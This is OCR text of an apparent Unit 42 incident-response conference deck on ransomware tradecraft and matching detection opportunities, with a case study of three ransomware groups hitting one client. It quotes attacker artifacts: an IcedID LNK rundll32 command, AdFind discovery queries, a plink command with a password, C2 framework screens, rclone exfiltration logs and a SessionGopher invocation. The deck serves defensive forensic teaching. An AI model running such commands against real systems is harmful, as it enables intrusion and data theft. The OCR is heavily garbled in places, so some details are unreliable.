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Principal Consultant, DFIR @
Co-founder/Instructor @
Contributor/Analyst @

Member of CTF Team
Created multiple courses (Cyber Defense, Threat
Hunting, DFIR)

GCFA, GNFA, GREM, GCFE, GDAT, GCTI, GCIH |
SANS Lethal Forensicator HOF

Speaker @ DefCon BTV, BSides
London/Qatar/Vancouver, NorthSec Montreal,
Deep Intel, Vienna, ROOTCON PH, etc.
Twitter - @r3nzsec
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TOP FINDINGS “ KEY TAKEAWAYS: INCIDENT TYPES

Other

Extortion - Ransomware

Extortion makes
up of
the matters o

Extortion - No encryption

handled by the
Unit 42 team so
far in 2023

BEC

SR G2



Data being stolen faster

Median Time from “Compromise” to “Exfiltration” (MTTE)

d:is Hours
2021 2022-2023 Beginning...
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Unit 42: The Rise of

VICtIms’ i Customers,

i "ega::n Hackers business

access to

encrypted threaten to partners,

employees

data release stolen e
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Ransomware: Initial Access

U
' Software i ' Bruteforce Credentials | ' Phishing
' Vulnerabilities : . Attack i e
e ProxyShell e Exposed RDP e Social
e Log4l/Log4Shell e Exposed SQL Engineering
e SonicWall CVEs Servers e BEC
e ProxyLogOn e Email without e .ISO/LNK files
e Zoho Manage MFA
Engine

° Fortinet CVEs
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Detection Opportunities: Initial Access

' Software | ' Bruteforce i e .

' Vulnerabilities ' Credentials Attack i ' Phishing |

e Check your vulnerability e CheckeventIDs e Check Office 365 logs
assessment tool results e Security 4624 & SQL (UAL)

e Check for massive failed logon attempts - e Check proxy logs
exploitation from the 18456 e Check user activities -
wilde e ChecklISlogs mailbox with rare

e Review tech blogs e  Check WAF/Firewall attachments (e.g. .iso,

logs (blocked Ink) '
attempts)

,/, paloaltoO ‘ UNI_:I- 42 © 2023 Palo Alto Networks, Inc. All rights reserved.

uuuuuuuu



Detection Opportunities: Initial Access

17663 (Count:
17806 (Count:
17811 (Count:
17832 (Count:
17836 (Count:
18264 (Count:

18452 (Count:

18456 (Count:

2022-08-14 00:42:55 LogAlways MSSQLSERVER local {"EventData":{"Data":
2022-08-14 00:42:56 LogAlways M local {"EventData":{"Data":
2022-08-14 00:42:56 LogAlways M local {"EventData":{
2022-08-14 00:42:56 LogAlw M local {"EventData":
2022-08-14 00:42:56 LogAlw M local {"EventData":
2022-08-14 00:42:56 LogAlways MSSQ VER local {"EventData":
2022-08-14 00:42:56 LogAlways MSSQ VER local {"EventData":
2022-08-14 00:42:56 LogAlways MSSQ RVER local {"EventData": {"
2022-08-14 00:42:56 LogAlways MSSQ VER local i
=
1

2022-08-14 00:42:56 LogAlways MSSQ RV local !

'EventData”:
'E

ven

MS SQL Server Bruteforce attack with almost 42k hits in just a day
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Initial Access

Microsoft-Windows-VHDMP-Operational Number of events: 27

Level ime Source EventID Task Category
(i) Information 7/14/2022 6:39:25 AM VHDMP 16 None
@ Error 14/2022 6:39:25 AM VHDMP 13 Virtual Disk Handle Create
Information /2022 6:40:09 A VHDMP Virtual Disk Handle Create
Information 2 VHDMP None
Information 14/2 VHDMP
Information /1472022 6:40:09 AM VHDMP
Information 2022 6:40:09 AM VHDMP
i) Information 7/14/2022 6:40:09 AM VHDMP
) Information /1472022 6:40:09 AM VHDMP
Information 2022 6:40:09 AM VHDMP Filewrapper Handle Create
Information 7 VHDMP 12 Virtual Disk Handle Create
i) Information 0:09 AM VHDMP 25 Surface Virtual Disk
Information / 2 6:40:09 AM VHDMP 1 Surface Virtual Disk
Information 2 0:09 AM VHDMP 30 Virtual Disk Handle Close
(i) Information VHDMP 4 Virtual Disk Handle Close

[¥]
—_

w

Filewrapper Handle Create
Filewrapper Handle Create
Filewrapper Handle Create
Filewrapper Handle Create
Filewrapper Handle Create

[ I R T
WOoRo oW R W

Event 12, VHDMP

General Details

Handle for virtual disk "\\? | 2 created successfully. VM ID = {00000000-0000-0000-0000-000000000000}, Type = ISO, Version = 1,
Flags = 0x0, AccessMask = 0xD0000, WriteDepth = 0, GetInfoOnly = false, F‘eadOnI/ false, HandleContext = Oxffff84029eb101c0, VirtualDisk = Oxffff84029aeb4040.

Event ID 12 - VHDMP for mounting malicious .ISO file

7 @/ paloalto ‘ UNINT 42 © 2023 Palo Alto Networks, Inc. All rights reserved.
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Detection Opportunities: Initial Access

D:\>lecmd -f document-130722.9274.png.lnk
LECmd version 1.5.9.0

[Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/LECmd

Command line: -f document-130722.9274.png.lnk
Processing |D: \document-136722.9274.png.1lnk

Source file: D:\document-138722.9274.png.1lnk

Source created: 2022-07-13 14: 6
Source modified: 2022-07-13 14:
Source accessed: 1
Haya
TheDFIR - --- Header ---
Target created:
OneDrive " Target modified:

Target accessed:

File size:

Flags: HasArgumen
File attributes: @

Icon index:

Startin: Show window: SwShowminno

HasIconlLocation,

(Display the window as minimized without activating it.)

Shorteut None

Arguments: |/c “"start 4TO06tXo7.png && start rundl132 mgwazKXu.dll, #1"
Ran: e Icon Location: C:\Program Files\Windows Photo Viewer\PhotoViewer.dIT

Comment:

--- Extra blocks information ---

Open File

>> Environment variable data block
Environment variables: C:\Windows\System32\cmd.exe

>> Icon environment data block
Icon path: C:\Program Files\Windows Photo Viewer\PhotoViewer.dll

---------- Processed D:\document-136722.9274.png.1lnk in seconds ----------

.png file was original a .Ink file that

nK - Ink file executes mgwazKxu.dll which
executes cmd.exe & malicious .dll file

is a variant of IcelD malware
%y paloalto’ | 7 uUNIT 42
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Ransomware: Discovery

AnyDesk
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Advanced
IP Scanner

——————————————————————————————————

Microsoft

Active Directory

_____________

_____________
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Detection Opportunities: Discovery

process.parent.command_line process.executable v process.command_line
:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C adfind.bat
:\Windows\system32\cmd.exe adfind. C:\Windows\Temp\adfind.exe adfind.exe -f (objectcategory=person)
:\Windows\system32\cmd.exe adfind. :\Windows\Temp\adfind.exe adfind.exe -f objectcategory=computer

:\Windows\system32\cmd.exe adfind. :\Windows\Temp\adfind.exe adfind.exe -f (objectcategory=organizationalUnit)

:\Windows\system32\cmd.exe adfind. :\Windows\Temp\adfind.exe adfind.exe -subnets -f (objectCategory=subnet)

:\Windows\system32\cmd.exe adfind. :\Windows\Temp\adfind.exe adfind.exe -f "(objectcategory=group)"
:\Windows\system32\cmd.exe adfind. :\Windows\Temp\adfind.exe adfind.exe -gcb -sc trustdmp

:\Windows\system32\cmd.exe adfind. :\Windows\Temp\7.exe 7.exe a -mx3 ad.7z ad_*

Adfind batch file executing AD discovery queries
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Ransomware: Lateral Movement

2. I

——————————————————————————————————

— =y | = == ANINIEET
7 ' PLink ‘ | SP— W 1
) i
== R J A ——————
' ScreenConnect

ssssssss
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Detection Opportunities: Lateral Movement

( EID 4624 Type 10 Hsew’"y Ay }\ Microsoft RDP

Mi LTV I ;
vices:

‘ EID 1149 \,

l Event Log

AmmyAdmin

[ 3 %ProgramData%\AMMYY\access.Iog}

& %programdata%\AnyDesk\
@ %appdata%\Anydesk

AnyDesk

\AnyDesk\

— ad.trace

}'— connection_trace.txt

@& %LocalAppData%\TeamViewer\Logs\TeamViewer15_Logfile.log

¢ p%\TeamViewer\( i txt
@& %appdata%\TeamViewer ions. txt | TeamViewer
Run-One-Time - —
@& C:\Program Files\TeamViewer\TeamViewer15_Logfile.log
@ C:\Program Files\Te i Ct ions_i ing.txt
@ %appdata%\TeamViewer\Connections.txt
) Py -
%y paloalto’ | ' UNIT a2
NETWORKS

ScreenConnect
Application Event Log - EID 256
\ / RealVNC

Event Logs

Application Event Log - EID 0

System Event Log - EID 7045 )

Remote Access Software

& %P Data%\RealVBC-Service\ .log.bak

@ %ProgramData%\RealVBC-Service\vncserver.log ]

ion Event Log - EID 1

o werwonxs © 2023 Palo Alto Networks, Inc. All rights reserved.

UltraVNC

I
]
e

@& %ProgramData%\uvnc bvba\mslogon.logJ

Application Event Log - EID 257

TightVNC

@ C:\Wind 32\config\

TightVNC\tvnserver.log
@ %programdata%\TightVNC\tvnserver.log

AppData\R
P \AppData'
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Detection Opportunities: Lateral Movement

32\crmd.exe

ETE =
cmd.exe ARPEXE
C:\Users\unit42\Desktopssystems.exe
Plink: command-line connection utility
Release 0.66
Usage: plink [options] [user@]host [command] 2 — &=
("host" can also be a PuTTY saved session name) Ao i
Options: -
-V print version information and exit A
-pgpfp print PGP key fingerprints and exit e T
-v show verbose messages =
-load sessname Load settings from saved session by e
-ssh -telnet -rlogin -raw -serial
force use of a particular protocol ,t\
-P port connect to specified port T
-1 user connect with specified username = =]
-batch disable all interactive prompts st Rt
-sercfg configuration-string (e.g. 19200,8,n,1,X)
Specify the serial configuration (serial only) LORE SCORE S TOrOCS TaGe
- . - - - - Feb24th.. B (3* Benign 3 48985b22a895154cc449eb7748... N/A
Rena med plink.exe Sfd5f471... s;;i;;:;;yMicrosoftf‘ i ?;DL i tem32\cmd.exe” /c echoy | C: p yst tems.exe - root -pw puhjtmQuBDeo ...
"c\windows\system32\cmd.exe" /c echo y | Y

C\Windows\Temp\vmware-systems\ |
0.0.0.0: BB E0

NETWORKS
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Detection Opportunities: Lateral Movement

O dlliO U U p 9 FIV CC O E < Od Jesdla4do...

{ l Information 10/3/2022 1:45:48 AM ScreenConnect Client (8ac59e2ad44a3...
(i) Information 10/3/2022 1:15:48 AM ScreenConnect Client (8ac59e2ad44as3...

Event 0, ScreenConnect Client (8ac59%e2ad44a3d74)

General Details

The description for Event ID 0 from source ScreenConnect Client (8ac59e2ad44a3d74) cannot be found. Either the component that raises this eve
can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

System.Net.Sockets.SocketException (0x80004005): Ein Verbindunqsversuch_
da der verbundene Host nicht reagiert hat 676._134:443 |

bei ScreenConnect.ClientNetworkExtensions.ConnectTcpSocket(Uri endPointUri)

bei ScreenConnect.WindowsClientToolkit. ConnectNetworkConnection(Uri endPointUri, Uri httpProxyUri)

bei ScreenConnect.SocketEndPointManager.Run()

ScreenConnect normally shows the remote IP address in event logs and
command line parameter upon executions

UNIT 42

© 2023 Palo Alto Networks, Inc. All rights reserved.




Ransomware: Command & Control (C2)

hackers gain infect
v0.0.6 23cc4206acd841b030ef62d1e80d6839478dfbba
' for options

Welcome to the sliver please type 'help

_U,
3
0
-

oo e .
| 1
| 1
. Brute Rate !
(YY) ! |
- 1 1
____________________ 4
___________ -
| 1
| 1
' Havoc
1 1
1 I OO G Terminal
—————— -4 askar@arrow
$. Joctopus.py
1
I V1.0 BETA !
1
1 Octopus €2 | Control your shells
1
1 Octopus ~-help
1
‘Ava\\able commands to use : 1
Hint : the conmands with * have arguments and you can see them by typing the command nane only 1 o t 2
- QCtopus
help show this help menu 1
Uist all connected agents
Uisteners Uist all 14 1
* generate_powershell generate’ povershal Luonet e AN (RN AR GRENEH BRI = e ———
* listen_http to start a HTTP listener
* listen_https to start a HITPS Listener e
nteract {session} to interact with a session
delete {session} to delete a session
it exit current session

@ -
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Detection Opportunities: Command & Control (C2

Function name Segment Start

f| type__eq_Ninja_Rattus_sliv_ps_WindowsProcess Jtext 00000001404ACES0
common_tool_sliv_TarIt_funci .text 00000001404D2480
common_tool_sliv_TarIt Ltext 00000001404D 1E80
Jtext 00001404D2160
Jtext 00001404D22A0
ersion_getOSVersion Jtext 00000001404C03C0
er_waitForCompletion .text 00000001404C2000

_taskrunner_sysAlloc Jtext

Jtext

YRRy

S

00000001404C 1860
00000001404C0840
00000001404C0F20
00000001404C1120
00000001404C1380
00000001404BE7CO
,_WriteProcessMemory Jtex 00000001404BE640
rtualProtectEx Jtex 00001404BE4EQ
Ninja_Rattus_sliv_syscalls_VirtualAllocEx Ltex 00000001404BE360
ja_l yscalls_GetExitCodeThread .te 000000014048t
Ninja_Rattus_sliv_syscalls_CreateThread Ltexd 00000001404BE0AD
Ninja_Rattus_sliv_syscalls_CreateRemoteThread Jtex 00000001404BDEED
00001404ACAG0
00000001404AC3A0
00000001404ACDEO
00000001404AC7A0
00000001404AC840
Ninja_Rattus_sliv_ps_findProcess 3 00000001404AC520
Ninja_Rattus_sliv_ps__ptr_WindowsProcess_SessionID x 00000001404AC380
Ninja_Rattus_sliv_ps__ptr_WindowsProcess_Pid R 00000001404AC300
Ninja_Rattus_sliv_ps__ptr_) _PPi d 00000001404AC320
Ninja_Rattus_sliv_ps tr. R 00000001404AC360 .
o i M LT SO0 IOAACS 10 ; https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace
attus_siiv_ps_Kill i 00000001404AC240
inja_Rattus_sliv_priv_SePrivEnable Ltex 00000001404D6AEQ
sliv_priv_GetSystem Jtex 0000001404D6C40
_hostuuid_GetUUID . 00000001404C57E0 . .
P Ooooon0 045D ‘ Havoc infection workflow from Zscaler blog
ttus_sliv_evasion_writeGoodBytes Ltexd 00000001404C0160
vasion_RefreshPE Jtex 000000014048FF00

Contains D Bacirent Downloads
ecoy Docume 2id
A Executes

ZeroTwo.zip Q N i Sngzgfe
rops o)
m Executes B AT
10110

01001
Havoc Demon Batch Script
Downloader KaynLdr

(Shellcode)

!

7l
£
7
i
Fi
Fil
pil
Ji
L
£

Downloads
& Display

SIS

Benign Jpeg
File

S

: \H\[TT,HQLL

ey

&I

Sliver written in GolLang
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Detection Opportunities: Cobalt Strike for Defenders

THE DFIR REPORT

Real Intrusions by Real Attackers, The Truth Behind the Intrusion

REPORTS ANALYSTS SERVICES v MERCHANDISE SUBSCRIBE CONTACT US

THREAT INTELLIGENCE DETECTION RULES CASE ARTIFACTS MENTORING & COACHING PROGRAM

Search Results for: cobalt strike for defenders

https://thedfirreport.com/?s=cobalt+strike+for+defenders

Cobalt Strike, a Defender’s Guide - Cobalt Strike, a Defender’s Guide
Part 2

Intro In our research, we expose adversarial
Our previous report on Cobalt Strike focused on Tactics, Techniques and Procedures (TTPs) as
the most frequently used capabilities that we had well as the tools they use to execute their
observed. In this report, we will focus on the mission objectives. In most of our cases, we ...
network traffic it produced, and provide ... READ MORE

READ MORE

® -
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Ransomware: Custom Command & Control (C3)

Pursuing Evasive Custom Command & Control C3 by: Mark lan Secretario / Ren [ 2

roorcoh

g EVASI\ A
CUSTOM COMMAND -

C3 Channel - Dropbox
C3 Channel - GitHub
C3 Channel - Slack

C3 Channel -
Telegram

C3 Channel - Outlook

REAL-WORLD
CVBERSECURITY

IAN SECRETARIO A RENZON CRUZ
Security Consultant | Founder of GuideM ) G U I D E M Security Consultant | Co-Founder of Guidel
ROOTCON Speaker ROOTCON Speaker
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Ransomware: Data Exfiltration

. RCLONE

J
IropMeFiles

21



Detection Opportunities: Data Exfiltration

C:\Users\unit42\Desktop\Exercises\Unit42>svchost.exe --h
Error: unknown flag: --h
Usage:

rclone [flags]

rclone [command]

Available Commands:

about Get quota information from the remote.
authorize Remote authorization.
backend Run a backend specific command.
cat Concatenates any files and sends them to stdout.
check Checks the files in the source and destination match.
cleanup Clean up the remote if possible.
config Enter an interactive configuration session.
| copy Copy files from source to dest, skipping already copied.
copyto Copy files from source to dest, skipping already copied.
copyurl Copy url content to dest.
cryptcheck Cryptcheck checks the integrity of a crypted remote.
cryptdecode Cryptdecode returns unencrypted file names.
dedupe Interactively find duplicate filenames and delete/rename them.
| delete Remove the contents of path.
deletefile Remove a single file from remote.

genautocomplete Output completion script for a given shell.

Renamed rclone.exe as svchost.exe

,}, paloalto® ‘ r UNIT 42 © 2023 Palo Alto Networks, Inc. All rights reserved.

NETWORKS Py —

2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23
2023-02-23

vs:
e7:
e7:
e7:
e7:
e7:
e7:
7:
07:
07:
07:
e7:
e7:
e7:
e7:
e7:
e7:
7:
07:
7:
07:
e7:
e7:
e7:
e7:
e7:
e7:

e7:
7:
7:

Starting upload
Starting upload

-u5: +] STarting upioaa
-05: +] Starting upload
-05: +] Starting upload
-85: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-es5: +] Starting upload
-e5: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-es: +] Starting upload
-es: +] Starting upload
-e5: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-e5: +] Starting upload
-es: +] starting upload
-e5: +] Starting upload
-e5: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-05: +] Starting upload
-e5: +] Starting upload
-e5: +] Starting upload
-05: +] Starting upload
+
+

Found debug logs where TA
uploaded files in Mega NZ Cloud

PR ODODODOOOOODOOOORRLRRLDOOLLLLLDOOODLOLDDLD DD

T11e _SeCcurityKeports_1.z1p TO Mega Nz Cloud
file _ResearchReports_1.zip to Mega Nz cloud

file _QuarterlyReports_1.zip to Mega Nz cloud

file _SuppliersBuyers_1.zip to Mega Nz cloud

file “calculationCostOfProduction_1.zip to Mega Nz cloud
file “SecurityReports_1.zip to Mega Nz cloud

file “ResearchReports_1.zip to Mega Nz cloud

file TDividends_1.zip to Mega Nz cloud

file “QuarterlyReports_1.zip to Mega Nz cloud

file “SuppliersBuyers_1.zip to Mega Nz cloud

file _MergersAndAcquisitions_1.zip to Mega Nz cloud
file _ResearchReports_1.zip to Mega Nz cloud

file _ResearchReports_1.zip to Mega Nz cloud

file _QuarterlyReports_1.zip to Mega Nz cloud

file “SuppliersBuyers_1.zip to Mega Nz cloud

file “calculationCostOfProduction_1.zip to Mega Nz cloud
file “SecurityReports_1.zip to Mega Nz cloud

file “ResearchReports_1.zip to Mega Nz cloud

file _QuarterlyReports_1.zip to Mega Nz cloud

file “SuppliersBuyers_1.zip to Mega Nz cloud

file _CalculationCostOfProduction_1.zip to Mega Nz cloud
file _SecurityReports_1.zip to Mega Nz cloud

file _ResearchReports_1.zip to Mega Nz cloud

file _QuarterlyReports_1.zip to Mega Nz cloud

file _SuppliersBuyers_1.zip to Mega Nz cloud

file “calculationCostOfProduction_1.zip to Mega Nz cloud
file “Guidance_1.zip to Mega Nz cloud

file “MergersAndAcquisitions_1.zip to Mega Nz cloud
file “sanctions_1.zip to Mega Nz cloud

file “SecurityReports_1.zip to Mega Nz cloud

file “ResearchReports_1.zip to Mega Nz cloud

file _Dividends_1.zip to Mega Nz cloud

file _QuarterlyReports_1.zip to Mega Nz cloud

file _SuppliersBuyers_1.zip to Mega Nz cloud

file _CalculationCostOfProduction_1.zip to Mega Nz cloud
file _Guidance_1.zip to Mega Nz cloud

file “sanctions_1.zip to Mega Nz cloud

file _SecurityReports_1.zip to Mega Nz cloud

file “ResearchReports_1.zip to Mega Nz cloud

file TDividends_1.zip to Mega Nz cloud

file “QuarterlyReports_1.zip to Mega Nz cloud

file “SuppliersBuyers_1.zip to Mega Nz cloud

file _CalculationCostOfProduction_1.zip to Mega Nz cloud
file _SecurityReports_1.zip to Mega Nz cloud

file _ResearchReports_1.zip to Mega Nz cloud

22




Detection Opportunities: Data Exfiltration

s | WinSCP-5.21.6-Portable

Home Share View

v 1 C:\Users\IEUser\Downloads\WinSCP-5.21 ,6—Por‘cable‘

Name Date modified

s Quick access ' . .
° license.txt 11724/ WinSCP forensic goodness FTW!

m Desktop
readme.txt 11

4 Downloads _
B WinSCP.com 11

'l, WinSCP.exe 11

= Pictures .| WinSCP.ini 1/6/202

¢ Documents

oee B WinSCP.ini

4P  WinSCP.ni

1 [Configuration\CDCachel

2 renzon@l172.16.89.129=412F433A2F55736572732F72656E7A6F6E2F4465736B746F703D2F2FODOA2F433A2F5
5736572732F72656E7A6F6E2F446F63756D656E74732F457866696C20446174613D2F2FODOA2F433A2F5573657
2732F72656E7A6F6E2F446F63756D656E74732F546F6F6C6B69742F52616E736F6D776172652F574F524B44573
347453D2F2F0OD0OA2F433A2F55736572732F72656E7A6F6E2F446F63756D656E74732F546F6F6C6B69742F52616
E736F6D776172652F4558323D2F2F0D0OA2F433A2F55736572732F72656E7A6F6E2F4D7920446F63756D656E747
33D2F2F0ODOA2F433A3D2F2FODOA2F433A2F55736572733D2F2FOD0OA2F433A2F55736572732F72656E7A6F6E3D2
F2FODOA2F433A2F55736572732F72656E7A6F6E2F446F63756D656E74733D2F2FODOA2F433A2F55736572732F7
2656E7A6F6E2F446F63756D656E74732F546F6F6C6B69743D2F2FOD0OA2F433A2F55736572732F72656E7AGF6E2
F446F63756D656E74732F546F6F6C6B69742F52616E736F6D776172653D2F2FAD0OA

,{' paloalto ’ UNlT 42 © 2023 Palo Alto Networks, Inc. All rights reserved.
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Detection Opportunities: Data Exfiltration

From Hex

Delimiter

Auto

#/» paloalto

NETWORKS

Last build: A month ago Options * About / Support 0
— length: 766 —
SN s v @ E L

32F72656E7A6F6E2F446F63756D656E74732F457866696C20446174613D2F2FODOA2F433A2F5
736572732F72656E7A6F6E2F446F63756D656E74732F546F6F6C6B69742F52616E736F6D7761
2652F574F524B44573347453D2F2FOD0OA2F433A2F55736572732F72656E7A6F6E2F446F63756D
656E74732F546F6F6C6B69742F52616E736F6D776172652F4558323D2F2FODOA2F433A2F55736
572732F72656E7A6F6E2F4D7920446F63756D656E74733D2F2FODOA2F433A3D2F2FODOA2F433A
2F55736572733D2F2FODOA2F433A2F55736572732F72656E7A6F6E3D2F2FODOA2F433A2F55736
572732F72656E7A6F6E2F446F63756D656E74733D2F2FODOA2F433A2F55736572732F72656E7A
6F6E2F446F63756D656E74732F546F6F6C6B69743D2F2FODOA2F433A2F55736572732F72656E
A6F6E2F446F63756D656E74732F546F6F6C6B69742F52616E736F6D776172653D2F2FQDOA

ime: 3ms

t
Output length: 383 a rD m

lines: 12

A/C:/Users/renzon/Desktop=//
:/Users/renzon/Documents/Exfil Data=//
:/Users/renzon/Documents/Toolkit/Ransomware/WORKDW3GE=//
:/Users/renzon/Documents/Toolkit/Ransomware/EX2=//
:/Users/renzon/My Documents=//
i=//

:/Users=//

:/Users/renzon=//

:/Users/renzon/Documents=//
:/Users/renzon/Documents/Toolkit=//
:/Users/renzon/Documents/Toolkit/Ransomware=//

UNI_,T 42 © 2023 Palo Alto Networks, Inc. All rights reserved.

This will potentially give
us the ability to know
what the threat actor is
doing on the remote
system, such as traversing
different directories.
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Detection Opportunities: Data Exfiltration

[Configuration\History\Mask]

O=xsalesx
1=xmergerx
2=*xpassx*

3=kdbx*
4=xsales%20reportx
5=kconfidentialx
6=xdatabasex
7=%pw

8=xbankx
9=xcredentialsx*
10=*SSH%20key s*
11=kpasswordsx
12=xinvoicex*
13=ksalaryx*
l4=xfinancialx
15=xfinancex
16=kreportx
17=xbank1x
18=xUnit42x
19=xkeysx*

nnnnnnnn

Contains search terms. This could

give us what search keywords were

used by the threat actor

© 2023 Palo Alto Networks, Inc. All rights reserve
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Ransomware: Data Exfiltration - Cloud Storage

DEF CON 29 Blue Team Village - Renzon Cruz - Forensicating Endpoint Artifacts in Cloud Storage Svcs o »

Forensicating Endpoint Artifacts in
the World of Cloud Storage Services

Renzon Cruz

PEEEGINES

grayl®g C%( @ bluecycle = Cribl

CROWDSTRIKE UILLAGE.

nnnnnnnn

Google Drive
Dropbox

Box

Mega
OneDrive




A FUN USE-CASE FROM A REAL-WORLD INCIDENT

Insights about Rusty-ness of the An understanding

Vice Society Blackcat about RansomHouse

ransomware initial ransomware (Mario) ransomware
access TTPs

uuuuuuuu
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Background of the Story

Client

Midsize Environment
Critical Business Role

Tech Stack

AV - <Insert AV Vendor that got acquired 3x
in a row>

Firewall - Yes, physical FW with old
firmware

BackUp - Yes

SIEM - None

EDR - None

MSSP - 3rd Party SOC with very minimal
visibility

ﬂ EJIS,I_,T 42 © 2022 Palo Alto Networks, Inc. All rights reserved.

nnnnnnnn

Ransomware

Vice Society
BlackCat
Mario

Affected Systems

4k+ Windows
30+ Linux
0 Mac




High Level Timeline of Events

December 14, 2022
BlackCat/AlphV got into
the domain controller
of the Client

: December 18, 2022
, Unit 42 was engaged

October 27, 2022
When Vice Society
hits the Client

nnnnnnnn

|

I December 17, 2022
. RansomHouse hits
I the FileServer and
|




Scoping Call Notes

e On October, the client went through a huge IT restructure/transformation
after the first ransomware attack (Vice Society)

e Theyterminated ALL the IT team (internal and contractors) and hired a
new IT Manager

e After one week of service, the new manager called FBI for help, due to a
new ransomware attack - BlackCat

e They were busy restoring everything from the backup - restored most of
the critical servers and they didn't pay the ransom

e After 3 days of fully restoration task, they got hit by another ransomware -
RansomHouse

e Now they need help, and willing to pay the ransom

e Client was all over the news about their recent breach

e December 18, Unit 42 was engaged

uuuuuuuu
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Let the fun begins! Kickoff call with the Client

a_
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Initial Access & Credential Access

e Initial Access
o Exposed RDP
o Bruteforce with almost 80k attempts against “SOLAdMIN"
service account
o Immediately RDP to DC's and file servers

e NTDS.DIT backup was created and accessed
o CMemp_lOgs\Active Directory\ntds.dit

e Untitled.psl was executed by the “SOLAdmMIN" account, detected
by MS Defender as “VirTool:PowerShell/Gopherz. AIMTB"
o Nishang PowerShell
( )
o SessionGopher PowerShell Tool
( ) - Looks for

saved remote access sessions

DecryptNextCharacterWinSCP($values.remainingPass) )
$finalOutput += [char]$values.flag } if ($storedFlag
—eq $CheckFlag) { return
$finalOutput.Substring($key.length) } return
$finalOutput } |Invoke-SessionGopher|-AllDomain >
[C:\Users\Public\sg. txt|

, Column 8165 Tab Size: 4 Batch File

‘ UNI:I- 42 © 2023 Palo Alto Networks, Inc. All rights reserved.
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https://github.com/samratashok/nishang

NTDS Secrets got PWNED! Now what?

m Renzon Cruz 4:46 PM
I:l—DC1 - Compromised

Credential Access
e We initially noticed the unusual failed logon attempts (66k) from the user|:|on 10/18
e Looking at the application logs, we also noticed unusual pattern that can potentially lead to NTDS.DIT dumping with the
combination of the following logs, all happened at the same time on 10/19 11:20
EID 327 | The database engined detached its database | c:\\temp_10gs\\Active Directory\\ntds.dit

o EID 327 | The database engined detached its database | | C:\\$SNAP_202210190420_VOLUMEC$\\Windows\\NTDS\\ntds.dit
o EID 325 | The database engined created a new database | c:\\temp_1@gs\\Active Directory\\ntds.dit
o EID 216 | A database location change was detected |

\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopyl@\\Windows\\NTDS\\ntds.dit
e A powershell framework called "Nishang" was noticed to be executed thru scriptblock on 10/19 where it saves the output
to C:\Users\Public\sg.txt - this file doesn't exist anymore

We observed the dumping of NTDS.DIT on DC and PowerShell
execution of Nishang & SessionGopher

,& paloa|t0® ‘ ﬂ SJISLT 42 © 2023 Palo Alto Networks, Inc. All rights reserved.
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Credential Access - adPEAS.psl

FTaTYE CUONEaLiT,  PCTEUETCLa T USETINGNE;
$Credential.GetNetworkCredential().Password), try {,
$Domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainC
adPEAS ps'l ontext) .Name, T catch {, throw \" [Invoke—m] The
° spec1f1ed domain $($TargetDomain) does not exist, could not be contacted, there
isn't an existing trust, or the specified credentials are invalid: $_\"
}, }, elseif ($PSBoundParameters['Username'] -and

. . . $PSBoundParameters['Password'1) {, $@dPEAS_SecPassword =
Found INnteresting registry key value of the ConvertTo-SecureString $Password —-AsPlainText —Force, =

H $adPEAS| AlternateCreds = New-Object System.Management.Automation.PSCredential($
Compromlsed account and PowerShell Event ID Username, $adPEAS| SecPassword), Write-Verbose \" [Invoke-@dPEAS] Using
4104 alternate credentials $($adPEAS AlternateCreds.UserName) for Get-Domain\"

if ($PSBoundParameters['Domain'l) {, $TargetDomain =
$Doma1n, }, else {, # if no domain is supplied,
ROOT\SOFTWARE\Microsoft\Windows\Cu rrentVers gtractDthe logon domain from the PSCredential passed,
. . argetDomain =
ion\Explorer\ComDIg32\OpenSavePidIMRU $adPEAS AlternateCreds.GetNetworkCredential().Domain,
Write-Verbose \"[Invoke-adPEAS] Extracted domain $($TargetDomain) from
parameter -username\", 1o $DomainContext = New-Object
ad PEAS.psl.txt System. D1rectoryServ1ces ActiveDirectory.DirectoryContext('Domain',
My Computer\DownIoads\ P $TargetDomain, $adPEAS AlternateCreds.UserName,
$adPEAS| Alte rhateCreds. GetNetworkC redential().Password), try
$Domain = [System.DirectoryServices.ActiveDirectory.Domain]::Get
i i i i Doma1n($Doma1nContext) Name, Py catch {, throw \"[
Wrapper ofgverythmg, IﬂClUdlﬂg the fO”OWIng Invoke—@dPEAS|]] The spec1f1ed domain $($TargetDomain) does not exist, could not
functionalities: be contacted, there isn't an existing trust, or the specified credentials are
invalid: $_\", T o elseif ($PSBoundParameters['Domain']) \
{, $DomainContext = New-Object N
PowerView System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', \
$Domain), try {, $Domain = [System.DirectoryServices.Active \
PoshADCS Directory.Domain]::GetDomain($DomainContext) .Name, T catch §
{, throw \" [Invoke-adPEAS] The spec1f1ed domain $($Domain) does not
BlOOdHOUﬁd . . exist, could not be contacted, or there isn't an existing trust : $_\"
And some own written lines of code , b, }, else {, try {, $Domain = [System.Di
rectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name,

}, catch {, throw \" [Invoke-adPEAS] "},{"@ame":"
